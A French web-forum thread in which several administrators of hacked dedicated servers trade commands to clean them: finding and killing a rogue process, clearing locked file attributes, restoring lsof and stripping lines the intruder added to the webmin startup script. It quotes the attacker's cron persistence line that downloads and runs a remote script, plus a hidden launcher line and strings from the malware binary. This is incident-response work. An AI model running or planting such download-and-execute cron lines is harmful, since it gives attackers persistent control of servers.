Citation Envoyé par Operceval
ok heuu comment je fais ça . j abuse la. si je depose pas le bilan t envoie une bouteille de champ
Ah ben, toujours la même méthode :

Code:
ps ax | grep d
Avec une seule lettre à rechercher, ça risque d'en ramener pas mal,
peut-être que ça sera plus sélectif :

Code:
ps ax | grep /tmp/d
On repère le PID en première colonne

puis on le tue via :

Code:
kill -9 12345
où "12345" est à remplacer par le PID trouvé par le "ps".

- - - Mise à jour - - -

Citation Envoyé par seifou
Ca signifie quoi exactement ? piratage également ?
Oui, très probablement (plus précisément : script pirate actuellement en cours d'exécution en RAM)

Que donne comme résultats la commande :

Code:
ps aux | grep cwd
?

seifou
22/10/2014, 14h54
s---ia-------- /proc/949/task/949/cwd
s---ia-------- /proc/949/cwd
s---ia-------- /proc/12088/task/12088/cwd
s---ia-------- /proc/12088/cwd
s---ia-------- /proc/12089/task/12089/cwd
s---ia-------- /proc/12089/cwd
Ca signifie quoi exactement ? piratage également ?

Operceval
22/10/2014, 14h54
ok heuu comment je fais ça . j abuse la. si je depose pas le bilan t envoie une bouteille de champ

cassiopee
22/10/2014, 14h51
Citation Envoyé par whynote
Ok Merci.
Le script semble se trouver ici /var/system/pagezero/init
j'ai fait ça
# ps ax | grep init
1 ? Ss 0:01 init [3]
12375 pts/0 S+ 0:00 grep --colour=auto init
12739 ? S 0:00 init
quel est celui à killer ?
Huhu Oui, là il ne faut pas se tromper
(au pire, ça fera redémarrer le serveur)

Là je dirais 12739

Avec la (vraie) commande "lsof", il est possible de vérifier quels sont les fichiers ouverts par ce processus
pour conforter ton choix :

Code:
lsof | grep 12739
- - - Mise à jour - - -

Citation Envoyé par Operceval

bon il me reste

*lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /tmp/d
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /proc/949/task/949/cwd
s---ia-------- /proc/949/cwd
s---ia-------- /proc/12088/task/12088/cwd
s---ia-------- /proc/12088/cwd
s---ia-------- /proc/12089/task/12089/cwd
s---ia-------- /proc/12089/cwd


et sur l autre
lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /usr/bin/crontab

sur le premier c est un programme qui tourne ne pense car l id change.
j ai besoin de garder le serveur on le temps de la migration.
Oui mais là il vaut mieux le tuer ce processus nommé "d" dans "/tmp"
car c'est vraisemblablement un script pirate.

- - - Mise à jour - - -

Citation Envoyé par whynote
le /usr/bin/crontab a root 103 comme droits, je n'y touche pas, ni au contenu ?
Oui, ça c'est "normal", on va dire une anomalie normale de la Release 2

whynote
22/10/2014, 14h42
Merci de ton aide très précieuse !
Ca a l'air d'être bon. La commande lsattr ne renvoie plus aucun résultat.
J'ai commenté la ligne
#@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1
dans /var/spool/cron/crontabs/root

le /usr/bin/crontab a root 103 comme droits, je n'y touche pas, ni au contenu ?

Laurjol
22/10/2014, 14h41
Quelqu'un aurait la gentillesse de faire un résumé de ce que le hack à modifié ? j'ai été victime aussi sur une release 2

- Donc plus de taches cron

autre chose ?

Laurent

lte
22/10/2014, 14h35
Citation Envoyé par whynote
Ok Merci.
Le script semble se trouver ici /var/system/pagezero/init
j'ai fait ça
# ps ax | grep init
1 ? Ss 0:01 init [3]
12375 pts/0 S+ 0:00 grep --colour=auto init
12739 ? S 0:00 init
quel est celui à killer ?
Celui à killer est le 12739
La ligne "pts/0 S+ 0:00 grep --colour=auto init" est celle de ta recherche, n'en tient pas compte.

nono67
22/10/2014, 14h34
Résultat des commandes ci-dessous :
# /etc/init.d/vixie-cron status
* status: started
# crontab -l
-bash: /usr/bin/crontab: Permission denied
Comment faire pour remettre en route mes taches cron ?

whynote
22/10/2014, 14h32
Ok Merci.
Le script semble se trouver ici /var/system/pagezero/init
j'ai fait ça
# ps ax | grep init
1 ? Ss 0:01 init [3]
12375 pts/0 S+ 0:00 grep --colour=auto init
12739 ? S 0:00 init
quel est celui à killer ?

Operceval
22/10/2014, 14h29


bon il me reste

*lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /tmp/d
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /proc/949/task/949/cwd
s---ia-------- /proc/949/cwd
s---ia-------- /proc/12088/task/12088/cwd
s---ia-------- /proc/12088/cwd
s---ia-------- /proc/12089/task/12089/cwd
s---ia-------- /proc/12089/cwd


et sur l autre
lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /usr/bin/crontab

sur le premier c est un programme qui tourne ne pense car l id change.
j ai besoin de garder le serveur on le temps de la migration.

cassiopee
22/10/2014, 14h25
Citation Envoyé par whynote
Malgré la commande chattr -R -i -a -s sur ces deux fichiers crontab et root, quelques minutes plus tard j'obtiens à nouveau :
s---ia-------- /usr/bin/crontab
s---ia-------- /var/spool/cron/crontabs/root
Que faire ?
Vraisemblablement un script pirate s'exécute actuellement dans le serveur,
il faut donc commencer par le tuer, cf les messages supra pour la manip
("ps" pour retrouver le PID puis "kill" pour le tuer)

Une fois que ça serait fait, refaire les "chattr".

whynote
22/10/2014, 14h23
Malgré la commande chattr -R -i -a -s sur ces deux fichiers crontab et root, quelques minutes plus tard j'obtiens à nouveau :
s---ia-------- /usr/bin/crontab
s---ia-------- /var/spool/cron/crontabs/root
Que faire ?

kgb203
22/10/2014, 14h11
Citation Envoyé par nono67
J'ai modifié mon fichier /var/spool/cron/crontabs/root en rajoutant # devant la ligne du hackeur, j'ai redémarré cron mais lorsque je vais dans mes taches cron dans Webmin, mes taches crons n'apparaissent toujours pas, que faut-il faire pour remettre mes taches cron ?
Elles ont été remplacées par les commandes du/des hackeur(s).
Il te faut donc les réenregistrer.

Sous Webmin, je ne sais pas trop, mais en SSH, en root :

1) "crontab -e" pour éditer
2) Une fois tes commandes saisies (cf. http://fr.wikipedia.org/wiki/Crontab pour la syntaxe), tape : " ctrl + o " puis entrée pour enregistrer
3) Tape " ctrl + x " pour sortir

Il te suffit ensuite de vérifier que la saisie a bien été enregistrée en faisant " crontab -l " pour lister le contenu de la crontab.

-- EDIT --

Les tâches précédemment demandées en crontab avaient été écrasées avec cette commande, se trouvant dans le fichier regular.bot :

Code:
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c;
crontab /tmp/c;
-- EDIT 2 --

Pour la syntaxe, voici un exemple possible, si tu exécutes des scripts PHP :

Code:
15 01 * * * /usr/local/php4/bin/php -q CHEMIN_ET_NOM_DU_SCRIPT 1>/dev/null;
Ici, le script va s'exécuter tous les jours, à 01h15 du matin.

cassiopee
22/10/2014, 14h09
Citation Envoyé par nono67
Merci pour votre aide

J'ai réinitialisé les attributs des fichiers et répertoire corrompus et j'ai pu les supprimer, ça c'est fait
Très bien.

J'ai modifié mon fichier /var/spool/cron/crontabs/root en rajoutant # devant la ligne du hackeur, j'ai redémarré cron mais lorsque je vais dans mes taches cron dans Webmin, mes taches crons n'apparaissent toujours pas, que faut-il faire pour remettre mes taches cron ?
Ah mais il se peut que le pirate les ai complètement effacées, auquel cas il va falloir les re-créer ex nihilo
(et là je ne peux pas vous dire comment le faire ne sachant pas ce qu'il y avait avant)

Garden
22/10/2014, 14h06
Citation Envoyé par nono67
j'ai redémarré cron mais lorsque je vais dans mes taches cron dans Webmin, mes taches crons n'apparaissent toujours pas, que faut-il faire pour remettre mes taches cron ?
est ce que cron tourne ou tu as un message d'erreur crontab sur webmin?
-si tu n'as pas de message d'erreur j'ai peur que tu ai perdu tes crons mais je sais pas
-si tu as un msg d'erreur j'ai eu des pb de permissions sur /usr/bin/crontab j'ai mis root/root 4775 et ça à remarché

nono67
22/10/2014, 14h03
Merci pour votre aide

J'ai réinitialisé les attributs des fichiers et répertoire corrompus et j'ai pu les supprimer, ça c'est fait

J'ai modifié mon fichier /var/spool/cron/crontabs/root en rajoutant # devant la ligne du hackeur, j'ai redémarré cron mais lorsque je vais dans mes taches cron dans Webmin, mes taches crons n'apparaissent toujours pas, que faut-il faire pour remettre mes taches cron ?

lte
22/10/2014, 13h55
Citation Envoyé par Garden
N'oublie pas si tuas ces fichiers/dossiers de les supprimer/renommer
/usr/libexec/ssh-keysign
/var/system
/etc/cron.weekly/00logrotate
Oops, en effet !
/usr/libexec/ssh-keysign <== Fait
/var/system <== Fait !
/etc/cron.weekly/00logrotate <== Inconnu aux bataillons (et tant mieux ^^)

Merci

cassiopee
22/10/2014, 13h55
Citation Envoyé par nono67
Le fichier "root" ne veut pas s'enregistrer après les modif, je n'ai pas les droits
Vraisemblablement il a les attributs étendus qui le protège,
il faut donc commencer par les réinitialiser :

Code:
chattr -R -i -a -s /var/spool/cron/crontabs/root
et ensuite tu devrais pouvoir modifier ce fichier
(en étant connecté en tant que root sinon ça ne sera pas possible)

Je n'ai pas compris ce que je devais faire cassiopee
Plus haut, je disais :

Ben là, on peut essayer

1) de corriger les programmes modifiés

2) supprimer les programmes ajoutés au système de base
Le cas 1, c'est lorsque ce fichier existe en temps normal dans une Release 2
Il s'agit de retirer de ces fichiers ce qui a été ajouté par le pirate (comme dans
le script qui lance webmin que l'on a vu plus haut ou quelques lignes ont été
ajoutées à la fin)

Le cas 2, c'est lorsque le fichier n'existe pas en temps normal dans une Release 2
(l'arborescence "/var/system" que l'on a vu plus haut)

Mais bon, je ne suis pas sûr que le jeu en vaille la chandelle.

Garden
22/10/2014, 13h50
Citation Envoyé par nono67
Le fichier "root" ne veut pas s'enregistrer après les modif, je n'ai pas les droits
chattr -R -i -a -s /var/spool/cron/crontabs/root
chattr -R -i -a -s /pour/chaque/fichier

supprime :
/tmp/d
/usr/libexec/ssh-keysign
/etc/cron.weekly/00logrotate

remplace lsof (voir les manips dans les posts precedents)

nono67
22/10/2014, 13h44
Citation Envoyé par cassiopee
Il faut retirer cette ligne du fichier "root" (ou encore la mettre en commentaire en préfixant la ligne par un signe dièse # )
Le fichier "root" ne veut pas s'enregistrer après les modif, je n'ai pas les droits

Citation Envoyé par cassiopee
Très vraisemblablement, cf supra pour voir ce qu'il faut (éventuellement) faire.
Je n'ai pas compris ce que je devais faire cassiopee

Garden
22/10/2014, 13h40
Citation Envoyé par lte
Pour ma part :

1/ j'ai remplacer le bon "lsof" (md5 : f55c0123de0f67b32f34e1d0df9c56a0)
En effet, problème sur les droits des fichiers, corrigé avec : chattr -R -i -a -s /usr/sbin/lsof

2/ J'ai virer les lignes en trop a la fin de /etc/init.d/webmin
Pareil, soucis sur les droits du fichier, corrigé avec : chattr -R -i -a -s /etc/init.d/webmin

3/ J'ai renommé le dossier : /var/system
Je le supprimerai plus tard !

Voila, ça récapitule un peu les dernières manip' à faire ^^

J'en profite aussi pour remercier cassiopee qui est d'une aide précieuse (des réponses claires et précises, des explications et pas juste un "fait ci, fait ça" .. et ça, c'est cool ^^).. et merci aussi à tout les autres qui ont apporté leur aide
Si on m'avait dit que mon topic allait créer 15 pages de commentaires, j'y aurai pas cru
N'oublie pas si tuas ces fichiers/dossiers de les supprimer/renommer
/usr/libexec/ssh-keysign
/var/system
/etc/cron.weekly/00logrotate

cassiopee
22/10/2014, 13h40
Citation Envoyé par nono67
J'ai remplacé le fichier lsof en copiant le fichier /usr/src/bin/lsof dans /usr/sbin/lsof

Mais quand je veux tuer le processus (kill -9 26655 ), j'ai ça comme message :
Oui, c'est normal, la commande ne montre que le "grep" lui-même.

Or, une fois qu'il rend la main au shell (la ligne de commande), le processus "grep"
a terminé son exécution en RAM et donc c'est normal ensuite que le "kill"
ne trouve plus ce PID.

Cf ce que je disais plus haut, c'est normal de trouver le grep par lui-même,
cela veut seulement dire que le programme recherché en RAM n'y est pas
pour le moment.

J'ai viré les lignes en trop a la fin de /etc/init.d/webmin
Bien.

Que faut-il faire avec le fichier corrompu dans /var/spool/cron/crontabs/root qui contient @weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1 ?
Il faut retirer cette ligne du fichier "root" (ou encore la mettre en commentaire en préfixant la ligne
par un signe dièse # )

Faut-il redémarrer quelque chose suite à ces changements ?
Oui, il faut redémarrer le service "cron", soit via webmin, soit en ligne de commande :

Code:
# /etc/init.d/vixie-cron stop
# /etc/init.d/vixie-cron start
Quand je tape cette commande lsattr -R / 2>/dev/null | grep -- 's---ia--------' voilà le résultat :

Ces fichiers sont-ils corrompus ?
Très vraisemblablement, cf supra pour voir ce qu'il faut (éventuellement) faire.

lte
22/10/2014, 13h38
Que faut-il faire avec le fichier corrompu dans /var/spool/cron/crontabs/root qui contient @weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1 ?
J't'aurai bien dit de simplement supprimer la ligne mais attend quand même l'avis de quelqu'un de plus expérimenté ^^

ton ps ax | grep bufdaemon indique qu'il n'y a rien de suspect.. il te sort une ligne mais c'est celle que tu as tapé donc rien d'anormal..
Lis le dernier paragraphe de ce post là : http://forum.ovh.com/showthread.php?...l=1#post622569

cassiopee
22/10/2014, 13h34
Citation Envoyé par Operceval
arf j ai un /usr/libexec/ssh-pkcs11-helper qui traine je l aime pas.
Dans une Release 2, c'est très suspect en effet.

un grand merci cassiopee pour tes conseils précieux si tu étais prestataire je t appelerais
Je le suis, je le suis

Mais ce que je fais ici, c'est bénévolement car parfois une simple ligne de commande bien expliquée
suffit à résoudre un problème.

- - - Mise à jour - - -

Citation Envoyé par Operceval
sur un serveur j ai
lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /tmp/d
s---ia-------- /etc/init.d/webmin
s---ia-------- /etc/runlevels/default/webmin
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /usr/libexec/ssh-keysign
s---ia-------- /usr/sbin/lsof
s---ia-------- /proc/949/task/949/cwd
s---ia-------- /proc/949/cwd
s---ia-------- /proc/20677/task/20677/cwd
s---ia-------- /proc/20677/cwd
s---ia-------- /proc/20678/task/20678/cwd
s---ia-------- /proc/20678/cwd
s---ia-------- /var/lib/init.d/softscripts/webmin
s---ia-------- /var/lib/init.d/started/webmin


et l autre

lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /usr/bin/crontab
s---ia-------- /etc/cron.weekly/00logrotate
s---ia-------- /var/spool/cron/crontabs/root

je peux faire quoi ? siouplait
Une petite prière ?

Ben là, on peut essayer

1) de corriger les programmes modifiés

2) supprimer les programmes ajoutés au système de base

mais bon, c'est beaucoup de travail pour un serveur qu'il va falloir
réinstaller/migrer de toute façon, donc il n'est pas sûr que le jeu en vaille
la chandelle.

seifou
22/10/2014, 13h33
Nono67 :

Il n'y a rien d'anormal dans ta commande :

# ps ax | grep bufdaemon
26655 pts/0 S+ 0:00 grep --colour=auto bufdaemon
C'est pas bufdaemon mais la recherche de bufdaemon qui ressort, donc c'est bon.

seifou
22/10/2014, 13h32
nsxxx bin # cd /usr/sbin
nsxxx sbin # md5sum lsof
92c1391f3bfda2df58bde5e1a26fb8b6 lsof
nsxxx sbin # cd /usr/src/bin/
nsxxx bin # md5sum lsof
f55c0123de0f67b32f34e1d0df9c56a0 lsof
J'ai pas compris exactement ce qu'il faut faire avec les fichiers lsof

/usr/src/bin/lsof n'existe pas sur une R2 non hackée c'est çà ?
/usr/sbin/lsof est le fichier d'origine de la R2, exact ?

Comment corriger /usr/sbin/lsof ?
Dois-je supprimer /usr/src/bin/lsof du coup ?

nono67
22/10/2014, 13h25
J'ai remplacé le fichier lsof en copiant le fichier /usr/src/bin/lsof dans /usr/sbin/lsof

Mais quand je veux tuer le processus (kill -9 26655 ), j'ai ça comme message :
# ps ax | grep bufdaemon
26655 pts/0 S+ 0:00 grep --colour=auto bufdaemon
# kill -9 26655
-bash: kill: (26655) - No such process
Pourtant J'ai :
# md5sum /usr/src/bin/lsof
f55c0123de0f67b32f34e1d0df9c56a0 /usr/src/bin/lsof

et

# md5sum /usr/sbin/lsof
f55c0123de0f67b32f34e1d0df9c56a0 /usr/sbin/lsof
J'ai viré les lignes en trop a la fin de /etc/init.d/webmin

Que faut-il faire avec le fichier corrompu dans /var/spool/cron/crontabs/root qui contient @weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1 ?

Faut-il redémarrer quelque chose suite à ces changements ?

Quand je tape cette commande lsattr -R / 2>/dev/null | grep -- 's---ia--------' voilà le résultat :
# lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /tmp/d
s---ia-------- /usr/libexec/ssh-keysign
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /usr/bin/crontab
s---ia-------- /var/spool/cron/crontabs/root
s---ia-------- /etc/cron.weekly/00logrotate
Ces fichiers sont-ils corrompus ?

lte
22/10/2014, 12h56
Pour ma part :

1/ j'ai remplacer le bon "lsof" (md5 : f55c0123de0f67b32f34e1d0df9c56a0)
En effet, problème sur les droits des fichiers, corrigé avec : chattr -R -i -a -s /usr/sbin/lsof

2/ J'ai virer les lignes en trop a la fin de /etc/init.d/webmin
Pareil, soucis sur les droits du fichier, corrigé avec : chattr -R -i -a -s /etc/init.d/webmin

3/ J'ai renommé le dossier : /var/system
Je le supprimerai plus tard !

Voila, ça récapitule un peu les dernières manip' à faire ^^

J'en profite aussi pour remercier cassiopee qui est d'une aide précieuse (des réponses claires et précises, des explications et pas juste un "fait ci, fait ça" .. et ça, c'est cool ^^).. et merci aussi à tout les autres qui ont apporté leur aide
Si on m'avait dit que mon topic allait créer 15 pages de commentaires, j'y aurai pas cru

Operceval
22/10/2014, 12h53
sur un serveur j ai
lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /tmp/d
s---ia-------- /etc/init.d/webmin
s---ia-------- /etc/runlevels/default/webmin
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /usr/libexec/ssh-keysign
s---ia-------- /usr/sbin/lsof
s---ia-------- /proc/949/task/949/cwd
s---ia-------- /proc/949/cwd
s---ia-------- /proc/20677/task/20677/cwd
s---ia-------- /proc/20677/cwd
s---ia-------- /proc/20678/task/20678/cwd
s---ia-------- /proc/20678/cwd
s---ia-------- /var/lib/init.d/softscripts/webmin
s---ia-------- /var/lib/init.d/started/webmin


et l autre

lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /usr/bin/crontab
s---ia-------- /etc/cron.weekly/00logrotate
s---ia-------- /var/spool/cron/crontabs/root

je peux faire quoi ? siouplait

cassiopee
22/10/2014, 12h41
Citation Envoyé par Garden
Y a t il des process suspect à surveiller qui pourrait indiquer une action du hacker sur le serveur? par exemple curl dans les process mentionnés precedement...?
Oui, du curl, du wget, etc.

Essayer de vérifier l'absence d'adresse IP commençant par "205.237" (la classe d'appartenance de 205.237.100.171/170)
dans les arguments d'un processus en RAM.

Ceci dit, sauf à ce que le download soit planté, il y a peu de chance de repérer un téléchargement en cours
car c'est très fugace (quelques secondes sans doute).

Le souci est que le pirate a pénétré en profondeur le serveur, il peut donc masquer pas mal de choses
(il n'a pas obligatoirement mis des attributs étendus à tous les fichiers modifiés par exemple).

A partir de là, toute commande que l'on pourrait taper afin de vérifier quelque chose,
pourrait avoir été détournée afin de masquer l'activité du pirate et donner, à tort,
la sensation que tout va bien.

Operceval
22/10/2014, 12h40
arf j ai un /usr/libexec/ssh-pkcs11-helper qui traine je l aime pas.

un grand merci cassiopee pour tes conseils précieux si tu étais prestataire je t appelerais

Un_passant
22/10/2014, 12h38
Si quelqu'un à la gentillesse de résumer toutes les lignes qu'il à fait pour editer, modifier les droits et "mettre en quarantaine" les fichiers, il serait bien sympa
(en tout cas je remercie toutes les personnes qui participent afin de nous aider, qui font le job d'OVH quoi...)

Garden
22/10/2014, 12h30
Y a t il des process suspect à surveiller qui pourrait indiquer une action du hacker sur le serveur? par exemple curl dans les process mentionnés precedement...?

cassiopee
22/10/2014, 12h28
Citation Envoyé par seifou
Le fichier /etc/init.d/webmin a bien la ligne du pirate :
Yep, c'est signé

Donc c'est pas bon signe, mais je cherche encore à savoir pourquoi le hack n'a pas été exécuté, semble t-il.
Ouh là, question existentielle à laquelle tu risques fort de ne pas avoir de réponse,
ne serait-ce que parce la réponse n'est peut-être même pas informatique.

Peut-être que la copine du pirate l'a détourné, momentanément, de ses activités criminelles par exemple

Vu que ça s'est passé le 30 septembre, peut être que son code n'était pas encore 100% opérationnel et que ça a planté en cours de route ?
Oui, c'est une possibilité.

Le serveur n'a pas été redémarré depuis avant le 30 septembre, peut être que ça joue ?
Si tu es joueur, reboote (je ne te le conseille pas)

Le nettoyage sera temporaire, mais en attendant, ça sera déjà çà.
Oui, disons que ça stabilise a minima la situation mais il faut évoluer, ne pas en rester là

(sous peine de devoir faire l'évolution en toute urgence ensuite, de préférence un jour
où ça tombe super mal)

- - - Mise à jour - - -

Citation Envoyé par Operceval
j ai installé hier une v3 toute neuve et

ps ax | grep bufdaemon
12972 pts/0 S+ 0:00 grep bufdaemon

pourquoi serait il sur une V3 neuve de hier ?
Non, c'est normal que cette ligne ressorte du grep parce que le mot "bufdaemon"
est présent dans la ligne d'appel du grep lui-même

ça le ferait avec n'importe quel mot :

Code:
ps ax | grep "toto23"
Tout va bien, pas de panique

Operceval
22/10/2014, 12h25
j ai installé hier une v3 toute neuve et

ps ax | grep bufdaemon
12972 pts/0 S+ 0:00 grep bufdaemon

pourquoi serait il sur une V3 neuve de hier ?

cassiopee
22/10/2014, 12h19
Citation Envoyé par Operceval
bonjour cassiopee , merci pour ton aide

j ai aussi ce fichier dans system avec l integralité des répertoires identique au niveau inferieur. le webmin est les mêmes lignes bufdaemon
on est sur que c est pas system . c est fichiers ?
Sur

Voilà ce qu'il y a dans le répertoire "/var" d'une Release 2:

Code:
# ls -al /var

drwxr-xr-x 13 root  root  4096 nov 28  2008 .
drwxr-xr-x 20 root  root  4096 jun 24  2013 ..
drwxr-xr-x  4 named named 4096 d▒c 31  2013 bind
drwxr-xr-x  6 root  root  4096 f▒v  3  2011 cache
drwxr-xr-x  4 root  root  4096 ao▒ 17 16:32 db
drwxr-xr-x  2 root  root  4096 f▒v  3  2011 empty
drwxr-xr-x 25 root  root  4096 f▒v  2  2014 lib
drwxrwxr-x  3 root  wheel 4096 oct 22 12:17 lock
lrwxrwxrwx  1 root  root     9 d▒c  2  2011 log -> /home/log
lrwxrwxrwx  1 root  root    15 d▒c  2  2011 mail -> /var/spool/mail
drwxr-xr-x 10 root  qmail 4096 mai 24  2006 qmail
drwxr-xr-x 12 root  root  4096 f▒v  2  2014 run
drwxr-xr-x  6 root  root  4096 mai 24  2006 spool
drwxr-xr-x  2 root  root  4096 f▒v  9  2006 state
drwxrwxrwt  4 root  root  4096 f▒v  3  2011 tmp
Bien sûr les dates des fichiers/répertoires peuvent être différentes.

Comme tu le vois, aucun sous-répertoire "system" par là.

De toute façon, tu peux te contenter de renommer le répertoire comme l'a fait Garden,
tu n'es pas obligé de supprimer ces fichiers là.

sur l autre serveur j ai pas du tout de repertoire system : / et pas de webmin avec ligne en plus
Ce qui est normal, ce serveur va donc très bien (pour le moment)

seifou
22/10/2014, 12h17
Le fichier /etc/init.d/webmin a bien la ligne du pirate :

#bufdaemon will be loaded under RC Compatibility
/var/system/pagezero/bufdaemon >/dev/null 2>&1
#DO NOT MODIFY
Donc c'est pas bon signe, mais je cherche encore à savoir pourquoi le hack n'a pas été exécuté, semble t-il.

Vu que ça s'est passé le 30 septembre, peut être que son code n'était pas encore 100% opérationnel et que ça a planté en cours de route ?
Le serveur n'a pas été redémarré depuis avant le 30 septembre, peut être que ça joue ?

Le nettoyage sera temporaire, mais en attendant, ça sera déjà çà.

Operceval
22/10/2014, 12h07
bonjour cassiopee , merci pour ton aide

j ai aussi ce fichier dans system avec l integralité des répertoires identique au niveau inferieur. le webmin est les mêmes lignes bufdaemon
on est sur que c est pas system . c est fichiers ?

sur l autre serveur j ai pas du tout de repertoire system : / et pas de webmin avec ligne en plus

cassiopee
22/10/2014, 12h00
Citation Envoyé par seifou
Hello,

Bon, et bien maintenant je suis fixé après avoir parcouru les quelques dernières pages.

J'ai bien des fichiers modifiés par contre je n'ai pas bufdaemon en ram, et il semblerait que le hack n'ait pas eu lieu entièrement sur la machine comme tu le pressentais hier Cassiopee.
Reste plus qu'à faire le ménage et à maj vers 2.35
Voilà voilà

Le nom "bufdaemon" peut avoir été changé d'un dédié à un autre, il faut regarder
la fin du fichier "/etc/init.d/webmin" pour voir éventuellement un nom différent utilisé.

Il se peut également que le programme change son nom une fois lancé en RAM,
la plupart des scripts pirates le font.

Enfin il se peut que le pirate n'est pas pu modifier/installer tout et donc que
le fichier ":etc/init.d/webmin" soit intact, ce qui serait plutôt bon signe.

Bon, ceci dit, tout ça, ce sont des solutions temporaires.

nono67
22/10/2014, 11h56
bon j'ai fait la mise à jour de ma release, je suis maintenant en 2.35 et ça à l'air de fonctionner... bougez pas je vais vomir un coup et je reviens...

Release 2 = Mode rescue = Mode panique

- - - Updated - - -

Qu'entends-tu par :
Citation Envoyé par Garden
Corrigé les droits
Virer tous ses cron

seifou
22/10/2014, 11h54
Hello,

Bon, et bien maintenant je suis fixé après avoir parcouru les quelques dernières pages.

J'ai bien des fichiers modifiés par contre je n'ai pas bufdaemon en ram, et il semblerait que le hack n'ait pas eu lieu entièrement sur la machine comme tu le pressentais hier Cassiopee.
Reste plus qu'à faire le ménage et à maj vers 2.35

cassiopee
22/10/2014, 11h46
Citation Envoyé par nono67
cassiopee quels sont les fichiers de configuration à sauvegarder avant de mettre à jour la release ?
Un esprit malin répondrait "tous"

Cela dépend de pas mal de choses : de ce qui est installé, configuré, personnalisé, etc.

De toute façon là, si le patch venait à casser le système (enfin, le problème risque plutôt de venir
d'un piratage préalable, pas tellement du patch en lui-même), actuellement on ne peut plus
réinstaller de Release 2. Conclusion : le système serait totalement foutu car il n'est pas imaginable
de rattraper ça par comparaison avec une Release 2 encore en état.

Donc là il s'agit plutôt de sauvegarder l'essentiel : site web, bases de données et messagerie.

- - - Mise à jour - - -

Citation Envoyé par Un_passant
Je n'ai pas l'autorisation de modifier le fichier /etc/init.d/webmin afin de supprimer les lignes en trop...
Oui, c'est ce que je disais plus haut à propos des attributs étendus tels que montrés par
la commande "lsattr". Avant de pouvoir modifier un fichier présentant de tels attributs,
il faut réinitialiser ces derniers au moyen de la commande "chattr" (change attributes)

- - - Mise à jour - - -

Citation Envoyé par Garden
Pour l'instant ça à l'air de tourner mais j'ai peur pr la suite...
Clairement c'est une solution temporaire, il ne faut pas rester ainsi,
il faut commencer calmement le processus de migration vers
un autre système d'exploitation/autre serveur dédié.

Garden
22/10/2014, 11h44
Yes, voici tout ce que j'ai fait :

Maj Release 2.35
Corrigé les droits
Virer tous ses cron
Remis le bon lsof
Suppr les lignes du webmin
Kill process
Rename /var/system /var/piratage

Pour l'instant ça à l'air de tourner mais j'ai peur pr la suite...

- - - Mise à jour - - -

Citation Envoyé par Un_passant
Je n'ai pas l'autorisation de modifier le fichier /etc/init.d/webmin afin de supprimer les lignes en trop...
Code:
# chattr -R -i -a -s /etc/init.d/webmin

Un_passant
22/10/2014, 11h41
Je n'ai pas l'autorisation de modifier le fichier /etc/init.d/webmin afin de supprimer les lignes en trop...

nono67
22/10/2014, 11h35
cassiopee quels sont les fichiers de configuration à sauvegarder avant de mettre à jour la release ?

cassiopee
22/10/2014, 11h33
Citation Envoyé par Garden
Code:
# file /var/system/pagezero/init
/var/system/pagezero/init: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.4.1, dynamically linked (uses shared libs), stripped
# strings /var/system/pagezero/init 
/lib64/ld-linux-x86-64.so.2
libssl.so.0.9.8
SSL_set_fd
SSL_read
SSL_new
SSL_CTX_new
Ok, beaucoup de choses qui font référence à du chiffrement, peut-être un outil de type VPN,
tunnel SSH, ce genre de choses.

je supprime /var/system/pagezero/init et /var/system/pagezero/bufdaemon ?
Mieux vaut le déplacer dans un répertoire autre, du genre "/root/piratage", au cas où.

L'essentiel est de le supprimer en RAM (cf plus haut) et de faire le ménage dans le script d'init
de webmin. Ensuite seulement, on peut essayer de le déplacer.

Même chose pour "init".

Garden
22/10/2014, 11h27
Code:
# file /var/system/pagezero/init
/var/system/pagezero/init: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.4.1, dynamically linked (uses shared libs), stripped
# strings /var/system/pagezero/init 
/lib64/ld-linux-x86-64.so.2
libssl.so.0.9.8
SSL_set_fd
SSL_read
SSL_new
SSL_CTX_new
SSL_library_init
SSL_load_error_strings
_fini
SSLv3_client_method
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_certificate_file
SSL_connect
SSL_free
_Jv_RegisterClasses
SSL_write
__gmon_start__
libcrypto.so.0.9.8
ERR_error_string
ERR_get_error
libcrypt.so.1
crypt
libc.so.6
strcpy
chroot
setrlimit64
waitpid
ioctl
__strtod_internal
stdout
recv
sigemptyset
geteuid
inet_pton
munmap
__strtol_internal
usleep
getpid
fscanf
fgets
getrlimit64
memcpy
execl
readlink
puts
dup2
feof
malloc
isatty
vsnprintf
popen
socket
select
setgroups
fflush
__xstat64
fclose
sigaddset
strncasecmp
send
freeaddrinfo
abort
getnameinfo
alarm
uname
accept
rename
strrchr
calloc
statvfs64
kill
bind
inet_addr
chdir
setsockopt
stdin
mktime
strcasestr
strstr
flock
setgid
strncmp
strncpy
unlink
getrusage
strcasecmp
readdir64
strtok
sigfillset
listen
fork
sscanf
execv
strncat
sigaction
__res_init
inet_aton
gettimeofday
localtime
memset
srand
inet_ntoa
tcgetattr
